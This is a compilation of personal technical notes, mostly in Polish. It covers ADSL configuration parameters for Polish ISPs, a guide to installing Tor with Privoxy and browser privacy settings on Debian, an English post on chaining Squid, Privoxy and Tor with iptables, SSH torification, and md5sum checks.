http://www.heise-online.pl/networks/features/Zabezpieczanie-sieci-WLAN-i-LAN-wedlug-specyfikacji-IEEE-802-1X-1021011.html

Router TP, Dialog, Netia

Telekomunikacja Polska: Neostrada

TP-LINK Neostrada
Parametry konfiguracyjne łącza ADSL (Neostrada) Powiększ W przypadku Neostrady korzystamy z routera wyposażonego w modem ADSL zgodny ze specyfikacją Annex A, czyli transmitujący dane po łączach analogowych. Cztery wymienione wcześniej parametry powinny mieć następujące wartości:

* VPI: 0
* VCI: 35
* Protokół: PPPoA
* Enkapsulacja: VC-Mux (w niektórych regionach kraju: LLC)

Wystarczy pobieżnie przyjrzeć się zrzutowi ekranu po lewej stronie, aby zauważyć, że w panelu konfiguracyjnym routera (w tym przypadku modelu TP-LINK TD-W8901G) parametry łącza są zgrupowane. Przykładowo, protokół został wskazany wraz z metodą enkapsulacji (PPPoA VC-Mux) w sekcji PPPoE/PPPoA. O wyborze mechanizmu PPPoA zdecydowaliśmy "piętro wyżej" – w sekcji Encapsulation.
Dialog: DialNet

FritzBOX-DialNet
Parametry konfiguracyjne łącza DSL (DialNet Mega) Powiększ Dialog proponuje klientom dwa rodzaje usług: DialNet Mega bazuje na własnych łączach operatora, a DialNet Global jest przeznaczona dla klientów podłączonych do sieci Telekomunikacji Polskiej. Pierwszy wariant wymaga modemu xDSL Annex B, a drugi – Annex A. Odmienne są też parametry konfiguracyjne.
DialNet Mega

* VPI: 1
* VCI: 32
* Protokół: PPPoA
* Enkapsulacja: LLC

DialNet Global

* VPI: 0
* VCI: 35
* Protokół: PPPoA
* Enkapsulacja: VC-Mux (w niektórych regionach kraju: LLC)

Netia: Szybki Internet (Net24)

Netia, podobnie jak Dialog, świadczy usługi dostępowe Szybki Internet (dawniej: Net24) albo na liniach własnych, albo dzierżawionych od Telekomunikacji Polskiej. Także i tutaj stosuje się różne modemy (odpowiednio: Annex B i Annex A), a parametry konfiguracyjne są inne:
Szybki Internet (sieć Netii)

* VPI: 8
* VCI: 35
* Protokół: PPPoE
* Enkapsulacja: LLC

Szybki Internet (sieć TP SA)

* VPI: 0
* VCI: 35
* Protokół: PPPoA
* Enkapsulacja: VC-Mux (w niektórych regionach kraju: LLC)

TOR Debian

Tor pod Debianem
funus.net


Tor umożliwia osiągnięcie w pewnym stopniu anonimowości podczas korzystania z Internetu. Niniejszy artykuł zawiera instrukcje instalacji klienta Tora w systemie Debian etch 4.0 w celu anonimowego przeglądania stron WWW.
Spis treści
[ukryj]

* 1 Lektura
* 2 Przygotowanie
* 3 Kompilacja
* 4 Privoxy
o 4.1 Fałszowanie pola User-agent
* 5 Konto użytkownika
* 6 Konfiguracja przeglądarek
o 6.1 Firefox
o 6.2 Opera
o 6.3 Sprawdzenie

[edytuj] Lektura

Na początek warto co nieco przeczytać na temat sieci Tor. Podstawowe informacje dostępne są na stronach projektu. Jest tam też instrukcja instalacji w systemach Unix i Linux. Warto też zapoznać się z artykułem na anglojęzycznej Wikipedii, który przedstawia także pewne wady i zagrożenia niekonieczne poruszone na stronach Tora.
[edytuj] Przygotowanie

Z odpowiedniej strony należy pobrać kod źródłowy z oprogramowaniem Tor oraz plik z sygnaturą, który posłuży do weryfikacji paczki źródłowej. Alternatywnie można skorzystać z paczek binarnych, przygotowanych dla kilku platform, tu jednak zakładam, że użyto wersji źródłowej.

Żeby zweryfikować autentyczność pobranej paczki, należy postąpić zgodnie z instrukcjami. W skrócie, trzeba pobrać z keyservera klucz publiczny o identyfikatorze 0x28988BF5:

gpg --keyserver subkeys.pgp.net --recv-keys 0x28988BF5

i sprawdzić jego fingerprints:

gpg --fingerprint 0x28988BF5

które powinny być następujące:

B117 2656 DFF9 83C3 042B C699 EB5A 896A 2898 8BF5

Jeśli klucz się zgadza, można przystąpić do weryfikacji źródeł. W momencie pisania tego tekstu, najnowszą stabilną wersją była 0.1.12.17, więc sprawdzenie wyglądało tak (przy założeniu, że paczka ze źródłami Tora ─ tor-0.1.12.17.tar.gz ─ oraz plik z sygnaturą znajdowały się w bieżącym katalogu):

gpg --verify tor-0.1.2.17.tar.gz.asc

co powinno dać w wyniku mniej więcej następujący komunikat:

gpg: Signature made czw 30 sie 2007 23:03:58 CEST using DSA key ID 28988BF5
gpg: Good signature from "Roger Dingledine "
gpg: WARNING: This key is not certified with a trusted signature!
gpg: There is no indication that the signature belongs to the owner.
Primary key fingerprint: B117 2656 DFF9 83C3 042B C699 EB5A 896A 2898 8BF5

Identyfikator klucza (28988BF5) i potwierdzenie: Good signature from... pozwalają mniemać, że paczka jest poprawna.
[edytuj] Kompilacja

Po pomyślnej weryfikacji można rozpakować źródła:

tar xzvf tor-0.1.2.17.tar.gz
cd tor-0.1.2.17

skonfigurować, opcjonalnie podając katalog docelowy, np.:

./configure --prefix=/usr/local/tor

skompilować:

make

i zainstalować:

make install

[edytuj] Privoxy

Tor działa jako serwer proxy SOCKS. Można skonfigurować np. przeglądarki tak, by z niego korzystały. Nie należy jednak tego robić bezpośrednio ze względu na DNS leaks, czyli zapytania do serwerów DNS wykonywane z pominięciem Tora. Zalecanym rozwiązaniem jest użycie serwera pośredniczącego Privoxy. Jeśli jeszcze nie jest zainstalowany, można to zrobić wpisując:

aptitude install privoxy

Następnie należy przystosować Privoxy do współpracy z Torem. Można to zrobić globalnie, w pliku konfiguracyjnym /etc/privoxy/config. Jeśli jednak Privoxy będzie wykorzystywane w innych celach, to lepiej skopiować sobie gdzie indziej całą zawartość katalogu /etc/privoxy i zmian dokonywać na kopiach.

Oto zmiany, które należy wprowadzić w pliku /etc/privoxy/config, w stosunku do domyślnej konfiguracji, obowiązującej po instalacji pakietu privoxy.

* Opcja confdir. W przypadku, gdy pracujemy na kopii katalogu konfiguracyjnego, należy podać tu ścieżkę do tej kopii. Na przykład, gdy zawartość /etc/privoxy została skopiowana do /etc/privoxy-tor, należy wpisać:

confdir /etc/privoxy-tor

* Opcja listen-address domyślnie przyjmuje wartość 127.0.0.1:8118. Można zmienić port, żeby nie kolidował z "normalnym" privoxy, np. na 8888:

listen-address 127.0.0.1:8888

* Za pomocą opcji forward-socks4a konfigurujemy Privoxy tak, że będzie żądania przekazywać do nadrzędnego proxy działającego w oparciu o protokół SOCKS4a. W tym przypadku tym nadrzędnym serwerem proxy będzie Tor.

forward-socks4a / 127.0.0.1:9050 .

* Wyłączamy logowanie do plików przez wykomentowanie wierszy:

# logfile logfile
# jarfile jarfile

* Po wyłączeniu logowania, ewentualne informacje będą wypisywane na standardowe wyjście (stderr?). Włączona opcja debug 1 powoduje, że będą raportowane wszystkie żądania. Może to być przydatne podczas testowania, ale później należy też to wyłączyć:

# debug 1

Jeśli zdecydowaliśmy się na modyfikacje systemowych plików konfiguracyjnych Privoxy, należy je dla pewności zrestartować:

/etc/init.d/privoxy restart

gdyż najprawdopodobniej jest już uruchomione przez systemowe skrypty startowe. Natomiast w przypadku, gdy będziemy używać osobnej konfiguracji, należy uruchomić nowy proces privoxy, podając jako argument ścieżkę do pliku konfiguracyjnego:

/usr/sbin/privoxy --no-daemon /etc/privoxy-tor/config

Opcja --no-daemon spowoduje, że program będzie pracować w pierwszym planie, nie odłączając się od terminala. W ten sposób wygodniej będzie obserwować ewentualne błędy jak też łatwiej go zabić w razie potrzeby. Jeśli jednak chcemy, by privoxy pracowało w tle, należy tę opcję pominąć.

Żeby było wygodniej, można sobie zrobić skrypt uruchamiający specjalną wersję privoxy, i nazwać go np. privoxy-tor:

#! /bin/sh
/usr/sbin/privoxy --no-daemon /etc/privoxy-tor/config

[edytuj] Fałszowanie pola User-agent

Jednym z pól wysyłanych przez przeglądarki w nagłówku HTTP jest User-agent, opisujący przeglądarkę, system operacyjny, ich wersje, architekturę, preferowany język użytkownika. W większości przypadków zawartość tego pola nie ma większego znaczenia. Niektóre serwisy mogą się dostosowywać do preferowanego języka czy konkretnych przeglądarek, ale architektura i system operacyjny to już naprawdę nadmiar wypływających informacji, w szczególności gdy używamy czegoś mniej popularnego (np. Linux/x86-64). Za pomocą Privoxy można podmienić zawartość pola User-agent, dopisując w pliku user.action na przykład:

{+hide-user-agent{Opera/9.10 (Windows NT 5.1; U) [en]}}
/

co oznacza, że rzekomo używamy Opery 9.10 pod Windows XP i posługujemy się językiem angielskim.
[edytuj] Konto użytkownika

Do bezpieczenego korzystania z Tora oprogramowanie, w szczególności przeglądarki, wymagają odpowiedniej konfiguracji. W szczególności, przeglądarkom należy wskazać serwer proxy oraz wyłączyć możliwość pobierania tzw. aktywnej zawartości (javascript, aplety Javy itp.); więcej o konfiguracji w dalszej części tekstu.

Z tego powodu nie zawsze i nie wszystkie strony będą działać pod Torem, więc używanie go na stałe raczej nie wchodzi w grę. Z kolei zmienianie konfiguracji przeglądarek, gdy okaże się, że z jakiegoś serwisu trzeba korzystać bez pośrednictwa Tora, jest uciążliwe i podatne na błędy.

Dlatego wydaje się, że sensownym rozwiązaniem jest utworzenie nowego konta, przeznaczonego wyłącznie do uruchamiania przeglądarek skonfigurowanych do współpracy z Torem. Przykładowo, niech konto to nazywa się johndoe. Żeby je utworzyć, jako root należy wpisać:

adduser johndoe

Dla pewności można przyciąć uprawnienia na katalogu domowym:

chown go-rwx ~johndoe

Można tam umieścić pliki konfiguracyjne przystosowujące Privoxy do współpracy z Torem a także stamtąd uruchamiać Tora i Privoxy, a później przeglądarki. W ten sposób wszystkie elementy związane z użytkowaniem Tora będą pod ręką, w jednym miejscu.

Mankamentem tego rozwiązania jest konieczność logowania się na osobne konto w celu skorzystania z Tora. Pracując w środowisku graficznym X można sprawę uprościć: zamiast rozpoczynać nową sesję po prostu uruchomić terminal i w nim zalogować się na specjalne konto:

exec su - johndoe

Zakładając, że będziemy używać przeglądarek graficznych, pozostaje w tym przypadku do rozwiązania kwestia możliwości korzystania z X-serwera przez użytkownika johndoe. Po pierwsze, należy wskazać namiary na X-serwer poprzez ustawienie zmiennej środowiska DISPLAY. Na ogół będzie ona mieć wartość :0:

DISPLAY=:0
export DISPLAY

Po drugie, pojawia się kwestia autoryzacji dostępu do X-serwera. W przypadku systemów z jednym użytkownikiem najłatwiej ją rozwiązać pozwalając na nieautoryzowany dostęp lokalny (tylko procesy działające na lokalnej maszynie będą miały dostęp do serwera X):

xhost +local:

Polecenie to należy wydać we własnej sesji, nie jako użytkownik johndoe.

Na koniec warto spróbować uruchamić jakąś aplikację X-ową z konta nowego użytkownika, chociażby archaiczny xcalc. Jeśli okno się pokaże, znaczy że jest OK.
[edytuj] Konfiguracja przeglądarek

Po zalogowaniu się na nowe konto można przystąpić do konfiguracji przeglądarek internetowych. Należy przede wszystkim wskazać im serwery proxy ─ uprzednio skonfigurowane Privoxy oraz Tor jako serwer SOCKS5. Ponadto trzba wyłączyć: rozmaite pluginy (aplety Javy, flash) i javascript, zakazać przyjmowania bądź okresowo usuwać ciasteczka. Do kompletu warto też wyłączyć referrer logging, przechowywanie historii odwiedzanych stron oraz cache'owanie ich zawartości.
[edytuj] Firefox

Twórcy Tora zalecają używanie przeglądarki Firefox. Można w niej zainstalować rozszerzenie Torbutton, załatwiające kwestię wskazania serwerów proxy.
[edytuj] Opera

W Operze warto zastosować następujące zmiany w stosunku do domyślnej konfiguracji.

* Preferences/General/Startup: ustawić "Start with blank page", żeby przeglądarka nie startowała z poprzednio otwartymi stronami, a jako preferowany język wybrać angielski ─ bo najpopularniejszy.
* Preferences/Advanced/Content: wyłączyć javascript, Javę i pluginy.
* Preferences/Advanced/History: liczbę pamiętanych adresów ustawić na zero, wyłączyć cache dyskowy i zaznaczyć opcję "Empty on exit".
* Preferences/Advanced/Cookies: można spróbować wyłączyć ciasteczka ("Never accept cookies"), niektóre strony jednak nie będą bez nich działać. Sensownym rozwiązaniem jest więc wybranie opcji "Accept cookies" i zaznaczenie "Delete new cookies when exiting Opera". Potem należy jeszcze wcisnąć "Manage cookies..." i usunąć wszystkie już zgromadzone ciasteczka.
* Preferences/Advanced/Network/Proxy servers: skonfigurować serwery proxy zgodnie z instrukcją; Opera niestety nie obsługuje serwerów SOCKS, więc należy ograniczyć się do wpisania we wszystkich polach namiarów na nasze Privoxy (localhost i port, 8888 we wcześniejszych przykładach).
* Preferences/Advanced/Network: wyłączyć opcję "Enable referrer logging".

Podczas użytkowania Opery, zwłaszcza przed zakończeniem, warto też wywołać opcję "Tools/Delete private data", żeby pousuwać różne informacje normalnie zapamiętywane przez przeglądarkę.

---------------------------------------------------------------------------------------------

With the advent of the new illegal monitoring going on in the USA, and ISPs being actively forced to log and snoop on their own customer’s behaviors, I’ve been advocating the use of Privoxy + Tor to help anonymize some of your browsing behavior and characteristics.

Privoxy is a web proxy with advanced filtering capabilities for protecting privacy, modifying web page data, managing cookies, controlling access, and removing ads, banners, pop-ups and other obnoxious Internet junk.

Tor is a toolset for a wide range of organizations and people that want to improve their safety and security on the Internet. Using Tor can help you anonymize web browsing and publishing, instant messaging, IRC, SSH, and other applications that use the TCP protocol.

To configure them to work in concert, just install privoxy and tor using your standard package management tools. Open up Privoxy’s configuration file (normally /etc/privoxy/config) and add the following line:

forward-socks4a / localhost:9050 .

The ending dot is significant, don’t forget to include it. You can put this anywhere in the file you want, but the most-likely place is around line 1064 or so in the standard configuration. Restart privoxy using whatever scripts or service management tools your host operating system provides.

Now there’s an additional tweak you can do to use Squid to pool and cache the sites you visit locally. To do that, you’ll need to change a few things in Squid’s configuration (normally /etc/squid/squid.conf):

http_port 8888
cache_peer localhost parent 8118 7 no-query default
# Some basic ACLs to allow local traffic, forbid outside traffic
http_access allow purge localhost
http_access allow localhost
http_access deny all
# Make sure we're ALWAYS using Privoxy and Tor, and not bypassing the cache
never_direct allow all
# And let's remove some headers which can be used to divulge some of our personal info
header_access From deny all
header_access Server deny all
header_access User-Agent deny all
header_access WWW-Authenticate deny all
header_access Link deny all

Restart Squid and you should be all set. In your application (for example, Firefox), you can set up your proxy server to be:

localhost:8888

Browsing will be slightly slower, but very clean and anonymized. If you want, you can also run pre-fetch pages with Squid to speed up access to lateral pages and links on sites you visit.

Using Firefox, I have an extension called SwitchProxy installed which lets me change my proxy configuration with a simple click, from “None” to “Squid (localhost)” to “Squid + Privoxy + Tor”, and so on. I highly recommend it.

In my personal configuration, I have a router which is configured to send every outbound request on port 80, and every incoming reply, to a Squid server running on FreeBSD. No client configuration is necessary at all.

With Squid on the BSD machine, I can set up Privoxy and Tor there, and transparently cache, secure, and anonymize that traffic without burdening the clients at all, no matter how many there are, or what OS they happen to run.

My router’s iptables configuration for that looks like this:

iptables -t nat -A PREROUTING -i br0 -s ! 10.0.1.3 -p tcp --dport 80 -j DNAT --to 10.0.1.3:8888
iptables -t nat -A POSTROUTING -o br0 -s 10.0.1.0/24 -d 10.0.1.3 -j SNAT --to 10.0.1.1
iptables -A FORWARD -s 10.0.1.0/24 -d 10.0.1.3 -i br0 -o br0 -p tcp --dport 8888 -j ACCEPT

10.0.1.1 is my router, and 10.0.1.3 happens to be the FreeBSD machine running a very large Squid cache.

It works great, and clients behind my LAN never know the difference.


------------------------------------------------------------------------------------------------


Add this to your ~/.bashrc or similar config-file:
http_proxy=http://127.0.0.1:8118/
HTTP_PROXY=$http_proxy
export http_proxy HTTP_PROXY

Secure login: ssh:
In order to torify all your ssh communications (ssh, slogin, sftp, etc.), edit your /etc/ssh/ssh_config and/or ~/.ssh/config and add:
Host *
ProxyCommand socat STDIO SOCKS4A:127.0.0.1:%h:%p,socksport=9050

niedziela, 16 stycznia 2011

MD5SUM

Weryfikacja MD5 w linuxie:

* md5sum -c linux.iso.md5

Tworzenie MD5 w linuxie:

md5sum linux.iso > linux.iso.md5